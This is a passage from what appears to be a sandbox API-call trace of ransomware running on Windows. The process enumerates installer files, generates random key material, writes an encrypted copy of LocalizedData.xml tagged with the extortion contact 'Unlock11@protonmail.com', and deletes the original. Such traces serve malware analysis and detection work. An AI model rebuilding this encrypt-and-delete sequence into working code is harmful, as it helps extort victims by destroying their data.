ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0113.903] GetLastError () returned 0x0 [0113.903] GetCurrentThreadId () returned 0x9b0 [0113.903] GetLastError () returned 0x0 [0113.903] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0113.903] GetLastError () returned 0x12 [0113.903] GetCurrentThreadId () returned 0x9b0 [0113.903] GetLastError () returned 0x12 [0113.903] GetLastError () returned 0x12 [0113.903] FindClose (in: hFindFile=0x10f73d0 | out: hFindFile=0x10f73d0) returned 1 [0113.903] GetCurrentThreadId () returned 0x9b0 [0113.904] GetLastError () returned 0x12 [0113.904] GetLastError () returned 0x12 [0113.904] GetLastError () returned 0x12 [0113.904] GetLastError () returned 0x12 [0113.904] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0113.904] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf")) returned 0x80 [0113.904] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a201c8 | out: hHeap=0x2ad0000) returned 1 [0113.904] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881240 [0113.904] GetLastError () returned 0x12 [0113.904] GetLastError () returned 0x12 [0113.905] GetLastError () returned 0x12 [0113.905] GetLastError () returned 0x12 [0113.905] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0113.905] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml")) returned 0x80 [0113.905] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0113.905] GetCurrentThreadId () returned 0x9b0 [0113.905] GetLastError () returned 0x12 [0113.905] GetLastError () returned 0x12 [0113.905] GetLastError () returned 0x12 [0113.905] GetLastError () returned 0x12 [0113.906] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0113.906] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll")) returned 0x80 [0113.906] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0113.906] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881000 | out: hHeap=0x2ad0000) returned 1 [0113.906] GetLastError () returned 0x12 [0113.907] GetLastError () returned 0x12 [0113.907] GetLastError () returned 0x12 [0113.907] GetLastError () returned 0x12 [0113.907] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\1030\\eula.rtf", lpFilePart=0x9bada4*="eula.rtf") returned 0x23 [0113.907] GetCurrentThreadId () returned 0x9b0 [0113.907] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0113.907] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0113.907] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0113.907] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0113.907] GetCurrentThreadId () returned 0x9b0 [0113.907] GetLastError () returned 0x12 [0113.908] GetLastError () returned 0x12 [0113.908] GetLastError () returned 0x12 [0113.908] GetLastError () returned 0x12 [0113.908] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml", lpFilePart=0x9bada4*="LocalizedData.xml") returned 0x2c [0113.908] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0113.908] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0113.908] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0113.908] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0113.908] GetCurrentThreadId () returned 0x9b0 [0113.908] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0113.908] GetLastError () returned 0x0 [0113.909] GetLastError () returned 0x0 [0113.909] GetLastError () returned 0x0 [0113.909] GetLastError () returned 0x0 [0113.909] GetCurrentThreadId () returned 0x9b0 [0113.909] GetLastError () returned 0x0 [0113.909] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cf20 | out: hHeap=0x2ad0000) returned 1 [0113.909] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cc78 [0113.909] GetLastError () returned 0x0 [0113.909] GetLastError () returned 0x0 [0113.909] GetLastError () returned 0x0 [0113.909] GetLastError () returned 0x0 [0113.910] GetCurrentThreadId () returned 0x9b0 [0113.910] GetLastError () returned 0x0 [0113.910] GetCurrentThreadId () returned 0x9b0 [0113.910] GetLastError () returned 0x0 [0113.910] GetLastError () returned 0x0 [0113.910] GetLastError () returned 0x0 [0113.910] GetLastError () returned 0x0 [0113.910] GetCurrentThreadId () returned 0x9b0 [0113.910] GetLastError () returned 0x0 [0113.910] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cc78 | out: hHeap=0x2ad0000) returned 1 [0113.910] GetLastError () returned 0x0 [0113.910] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6078 | out: hHeap=0x2ad0000) returned 1 [0113.911] GetLastError () returned 0x0 [0113.911] GetLastError () returned 0x0 [0113.911] GetLastError () returned 0x0 [0113.911] GetCurrentThreadId () returned 0x9b0 [0113.911] GetLastError () returned 0x0 [0113.911] GetLastError () returned 0x0 [0113.911] GetLastError () returned 0x0 [0113.911] GetLastError () returned 0x0 [0113.911] GetLastError () returned 0x0 [0113.911] GetCurrentThreadId () returned 0x9b0 [0113.911] GetLastError () returned 0x0 [0113.911] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a468 | out: hHeap=0x2ad0000) returned 1 [0113.912] GetLastError () returned 0x0 [0113.912] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6528 | out: hHeap=0x2ad0000) returned 1 [0113.912] GetLastError () returned 0x0 [0113.912] GetLastError () returned 0x0 [0113.912] GetLastError () returned 0x0 [0113.912] GetCurrentThreadId () returned 0x9b0 [0113.912] GetLastError () returned 0x0 [0113.912] GetCurrentThreadId () returned 0x9b0 [0113.912] GetLastError () returned 0x0 [0113.912] GetLastError () returned 0x0 [0113.912] GetLastError () returned 0x0 [0113.912] GetLastError () returned 0x0 [0113.913] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0113.913] GetFileAttributesExA (in: lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12fb4)) returned 1 [0113.913] GetLastError () returned 0x0 [0113.913] GetCurrentThreadId () returned 0x9b0 [0113.913] GetLastError () returned 0x0 [0113.913] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0113.913] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36640d4 | out: pbBuffer=0x36640d4) returned 1 [0113.913] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0113.913] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34adba8 [0113.913] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0113.913] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382ced0 [0113.914] GetCurrentThreadId () returned 0x9b0 [0113.914] GetLastError () returned 0x0 [0113.914] GetLastError () returned 0x0 [0113.914] GetLastError () returned 0x0 [0113.914] GetLastError () returned 0x0 [0113.914] GetCurrentThreadId () returned 0x9b0 [0113.914] GetLastError () returned 0x0 [0113.914] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382ced0 | out: hHeap=0x2ad0000) returned 1 [0113.914] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cb38 [0113.914] GetLastError () returned 0x0 [0113.914] GetLastError () returned 0x0 [0113.915] GetLastError () returned 0x0 [0113.915] GetLastError () returned 0x0 [0113.915] GetCurrentThreadId () returned 0x9b0 [0113.915] GetLastError () returned 0x0 [0113.915] GetCurrentThreadId () returned 0x9b0 [0113.915] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cb38 | out: hHeap=0x2ad0000) returned 1 [0113.915] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6c68 [0113.915] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34adba8 | out: hHeap=0x2ad0000) returned 1 [0113.915] GetLastError () returned 0x0 [0113.915] GetLastError () returned 0x0 [0113.915] GetLastError () returned 0x0 [0113.915] GetLastError () returned 0x0 [0113.916] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0113.916] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6d78 [0113.916] GetLastError () returned 0x0 [0113.916] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0113.916] GetFileType (hFile=0x39c) returned 0x1 [0113.916] GetLastError () returned 0x0 [0113.916] GetCurrentThreadId () returned 0x9b0 [0113.916] GetLastError () returned 0x0 [0113.916] GetFileType (hFile=0x39c) returned 0x1 [0113.916] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0113.917] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.917] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.917] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.917] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.917] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.917] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.917] GetLastError () returned 0x0 [0113.917] GetCurrentThreadId () returned 0x9b0 [0113.917] GetLastError () returned 0x0 [0113.917] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d78 | out: hHeap=0x2ad0000) returned 1 [0113.917] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0113.917] GetLastError () returned 0x0 [0113.917] GetLastError () returned 0x0 [0113.918] GetLastError () returned 0x0 [0113.918] GetLastError () returned 0x0 [0113.918] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0113.918] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6bd8 [0113.918] GetLastError () returned 0x0 [0113.918] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0113.919] GetFileType (hFile=0x3ac) returned 0x1 [0113.920] GetLastError () returned 0x0 [0113.920] GetCurrentThreadId () returned 0x9b0 [0113.920] GetLastError () returned 0x0 [0113.920] GetFileType (hFile=0x3ac) returned 0x1 [0113.920] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0113.920] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.920] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.920] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.920] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.920] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.920] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.920] GetLastError () returned 0x0 [0113.920] GetCurrentThreadId () returned 0x9b0 [0113.921] GetLastError () returned 0x0 [0113.921] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6bd8 | out: hHeap=0x2ad0000) returned 1 [0113.921] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a1e88 | out: hHeap=0x2ad0000) returned 1 [0113.921] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881228 [0113.921] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0113.921] GetLastError () returned 0x0 [0113.921] GetLastError () returned 0x0 [0113.921] GetCurrentThreadId () returned 0x9b0 [0113.921] GetLastError () returned 0x0 [0113.921] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0113.921] GetLastError () returned 0x0 [0113.921] GetLastError () returned 0x0 [0113.922] GetCurrentThreadId () returned 0x9b0 [0113.939] GetCurrentThreadId () returned 0x9b0 [0113.939] GetCurrentThreadId () returned 0x9b0 [0113.940] GetCurrentThreadId () returned 0x9b0 [0113.941] GetCurrentThreadId () returned 0x9b0 [0113.942] GetCurrentThreadId () returned 0x9b0 [0113.942] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x2fc9) returned 0x36f8548 [0113.942] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0113.942] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x2fd5) returned 0x36f8548 [0113.942] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6d68 [0113.942] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6bf8 | out: hHeap=0x2ad0000) returned 1 [0113.942] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x2fd8) returned 0x38273e0 [0113.942] GetCurrentThreadId () returned 0x9b0 [0113.942] GetCurrentThreadId () returned 0x9b0 [0113.943] GetCurrentThreadId () returned 0x9b0 [0113.943] GetCurrentThreadId () returned 0x9b0 [0113.943] CloseHandle (hObject=0x3ac) returned 1 [0113.943] GetCurrentThreadId () returned 0x9b0 [0113.943] CloseHandle (hObject=0x39c) returned 1 [0113.943] GetCurrentThreadId () returned 0x9b0 [0113.943] DeleteFileA (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml")) returned 1 [0113.945] GetCurrentThreadId () returned 0x9b0 [0113.945] GetCurrentThreadId () returned 0x9b0 [0113.945] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\1030\\SetupResources.dll", lpFilePart=0x9bada4*="SetupResources.dll") returned 0x2d [0113.945] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0113.945] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0113.945] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0113.945] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0113.945] GetCurrentThreadId () returned 0x9b0 [0113.946] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0113.946] FindFirstFileA (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7550 [0113.946] GetCurrentThreadId () returned 0x9b0 [0113.946] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0113.946] GetCurrentThreadId () returned 0x9b0 [0113.946] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd5b, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0113.946] GetCurrentThreadId () returned 0x9b0 [0113.946] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141aa, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0113.946] GetCurrentThreadId () returned 0x9b0 [0113.946] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0113.947] GetCurrentThreadId () returned 0x9b0 [0113.947] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0113.947] GetCurrentThreadId () returned 0x9b0 [0113.947] FindClose (in: hFindFile=0x10f7550 | out: hFindFile=0x10f7550) returned 1 [0113.947] GetCurrentThreadId () returned 0x9b0 [0113.947] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf")) returned 0x80 [0113.947] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a201c8 | out: hHeap=0x2ad0000) returned 1 [0113.947] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881288 [0113.948] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml")) returned 0x80 [0113.948] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0113.948] GetCurrentThreadId () returned 0x9b0 [0113.948] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll")) returned 0x80 [0113.948] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0113.948] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0113.948] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\1031\\eula.rtf", lpFilePart=0x9bada4*="eula.rtf") returned 0x23 [0113.948] GetCurrentThreadId () returned 0x9b0 [0113.948] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0113.949] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0113.949] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0113.949] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0113.949] GetCurrentThreadId () returned 0x9b0 [0113.949] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml", lpFilePart=0x9bada4*="LocalizedData.xml") returned 0x2c [0113.949] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0113.949] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0113.949] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0113.949] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0113.949] GetCurrentThreadId () returned 0x9b0 [0113.949] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cb38 [0113.949] GetCurrentThreadId () returned 0x9b0 [0113.950] GetCurrentThreadId () returned 0x9b0 [0113.950] GetCurrentThreadId () returned 0x9b0 [0113.950] GetCurrentThreadId () returned 0x9b0 [0113.950] GetCurrentThreadId () returned 0x9b0 [0113.950] GetCurrentThreadId () returned 0x9b0 [0113.950] GetCurrentThreadId () returned 0x9b0 [0113.950] GetCurrentThreadId () returned 0x9b0 [0113.950] GetFileAttributesExA (in: lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141aa)) returned 1 [0113.950] GetCurrentThreadId () returned 0x9b0 [0113.950] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664124 | out: pbBuffer=0x3664124) returned 1 [0113.951] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0113.951] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34ac7c0 [0113.951] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0113.951] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382ccf0 [0113.951] GetCurrentThreadId () returned 0x9b0 [0113.951] GetCurrentThreadId () returned 0x9b0 [0113.951] GetCurrentThreadId () returned 0x9b0 [0113.951] GetCurrentThreadId () returned 0x9b0 [0113.951] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382ccf0 | out: hHeap=0x2ad0000) returned 1 